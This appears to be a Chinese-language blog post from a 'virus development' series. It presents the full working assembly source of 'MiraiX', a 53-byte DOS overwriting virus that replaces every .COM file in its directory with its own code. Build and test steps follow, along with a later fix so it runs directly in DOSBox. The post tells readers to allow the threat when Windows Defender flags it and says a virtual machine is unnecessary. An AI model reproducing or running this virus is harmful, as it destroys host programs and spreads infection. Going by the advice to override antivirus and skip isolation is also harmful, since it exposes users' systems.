ETH官方钱包

前往
大廳
主題

病毒開發(6) - 僅有53 bytes的組合語言覆寫病毒(更1)

虛鹿 | 2022-02-17 11:20:57 | 巴幣 1246 | 人氣 709


[#] 警告: 以下內文有大量的組合語言內容,
務必先看過病毒開發(4)(5)再來觀看本篇。
至少,需要看的懂上一篇的Hello World的原始碼。

Hi~ Hi~ 終於又見面啦 !
今天要帶給各位的是組語的COM Infector 。
講白了,就是會感染COM執行檔的程式,
其最為常見的形式可分為三大類:
                   1. Overwriting Virus
                   2. Companion Virus
                   3. Parasitic Virus
其個別的定義,
窩就直接設在超連結內以方便諸君查看,
其實真的很酷啦,
畢竟他們都有超她媽有創意的感染手法。

至於為什麼這篇會拖那麼久呢~
主要是因為Debug的過程一直出問題,
再加上我有堅持"不使用自己不懂的程式碼",
為了能看懂裡面每行的意思真的是有夠痛苦的說....
但★是★呢★
只要能夠跨越那條世界線,
一切都會輕鬆了不少呦 !!(^ω^)

而今天呢~
就來介紹三者之中最為基本的Overwrite Virus吧 !!
UMU !! 廢話不多說,直接上原始碼啦:

[#] MiraiX, Overwrite Virus, Assembly Ver
[#] Coded by Falsedeer(虛鹿)@巴哈姆特
.model tiny                      ;compile into a COM file
.386

.CODE
ORG 100h
FNAME EQU 9Eh

start:
        mov ah, 4Eh              ;4E - Search for the first match           
        xor cx, cx                   ;CX - attribute to use in search ;DX - search pattern
        mov dx, OFFSET target
        int 21h
search:
        jc done                      ;jump if carry flag = 1(C = 1)
        mov ah, 3Dh             ;3D - Open the file
        mov al, 2                   ;al - intruction type ;DX - name of file
        mov dx, FNAME       ;return AX as file handle
        int 21h

        xchg ax, bx              ;40 - Write to file
        mov ah, 40H            ;BX - file handle ;CX - bytes to write
        mov cx, 53               ;DX - buffer area
        mov dx, 100H
        int 21h

        mov ah, 3EH            ;3E - Close a sussecfly opened file
        int 21h                      ;BX - file handle

        mov ah, 4Fh             ;4F - search for the next match
        int 21h                      ;carry flag clear if successful
        jmp search
done:
        mov ah, 4Ch
        int 21h

target db "*.COM",0
end start

[#]常見疑問:
---------------------------------------------
Q1. 要 compile 成EXE還是COM?
Ans: COM
---------------------------------------------
Q2. mov ah, xxh 及 int 21h 是甚麼?
我只是用了更多funtion而已。
---------------------------------------------
Q3. 為什麼要 .Model tiny ?
Ans: 那是COM執行檔的記憶體模型。
---------------------------------------------
Q4. 為什麼要 ORG 100h ?
Ans: 指定執行程式時的記憶體地址,
而100h是專屬COM檔的地址。
---------------------------------------------
Q5. 為什麼沒有把Data Segment放入DS?
Ans: COM檔的CS=DS=SS=ES,
因此不必指定Data的位置。
(如果指定,編譯就會出錯)
---------------------------------------------
Q6. 裡面為麼要動那麼多暫存器?
Ans: 這些都是依Dos Interupt規定設定的,
畢竟要使用功能,就需要設定參數,
---------------------------------------------
Q7. 怎麼製作COM檔?
並使用Dosbox執行:
        tasm miraix
        tlink /t miraix
---------------------------------------------

把MiraiX編譯成COM執行檔後,
我們會需要一個擔任受害者的程式,
因此就先寫個簡單的COM程式。

[#] Target.asm 原始碼:
.model tiny
.386
.CODE
ORG 100h
start:
    mov ah, 09h
    mov dx, OFFSET msg1
    int 21h
    mov dx, OFFSET msg2
    int 21h
    mov ah, 4ch
    int 21h

msg1 db "I am the target file~XD",13,10,"$"
msg2 db "Coded by Falsedeer, 02/17/22$"
end start

記得一樣把他Compile成Target.COM。

最後進入實測階段啦 !!
而沒意外的話,在完成Compile不久後,
你的Window Defender會噴出來,
記得要允許威脅。

接著,
把MiraiX跟Target拉入TASM的資料夾,
並用Dosbox mount該磁碟,
再切換到該位置。(Ex. mount d D:\\TASM)
先執行Target.COM確認其被感染前的樣子,
沒意外的話,會看到以下的輸出結果:

執行看看 td target.com 進入turbo debugger,
看一眼被感染前的記憶體狀態。

退出後,
執行 td miraix.com 再次進入turbo debugger,
(Windows會擋,所以無法透過指令列執行。)
去手動去執行MiraiX。


然後,
退出td,執行看看Target.COM ,
這時候你便會發現Target已經失靈了,
不會再印出原本該有的字串。

執行 td target.COM,把它丟入Debugger,
便可發現它整個已經變成 MiraiX的形狀了。

把Target.COM上傳至Virus Total,
便可發現它會被識別為"病毒"。
原因是MiraiX用自身覆寫了Target,
把自己寄生在Target.COM之中。
而在下次執行Target.COM時,
便可以產生感染其他檔案的效果。

好啦,今天就先講到這邊,
所有的原始碼及超連結還請諸君安心使用。
MiraiX只會感染自身資料夾中所有的COM檔,
因此不必替地使用VMWare去試驗呦!!
\(≧▽≦)/

———————————————————-

[#]更一:
其實MiraiX不必要在debugger中執行,
是我程式寫錯了。
只要把 target db “*.COM$” 改成 “*.COM”,0
就可以在Dosbox中用 “miraix” 快樂執行。

剛剛查過了,
”$” 的字串結尾,
僅限呼叫Dos function 09h 才需要而已,
一般用 “,0” 就行了。




送禮物贊助創作者 !
0
留言

創作回應

偷偷做不會被發現
2022-02-17 16:34:51
虛鹿
還好吧
2022-02-18 18:06:56
Nero
酷 github是你最近才申請ㄉㄇ
2022-02-17 16:53:46
虛鹿
申請大概3個月了吧,只是平時沒什麼在用而已
2022-02-18 18:07:22

更多創作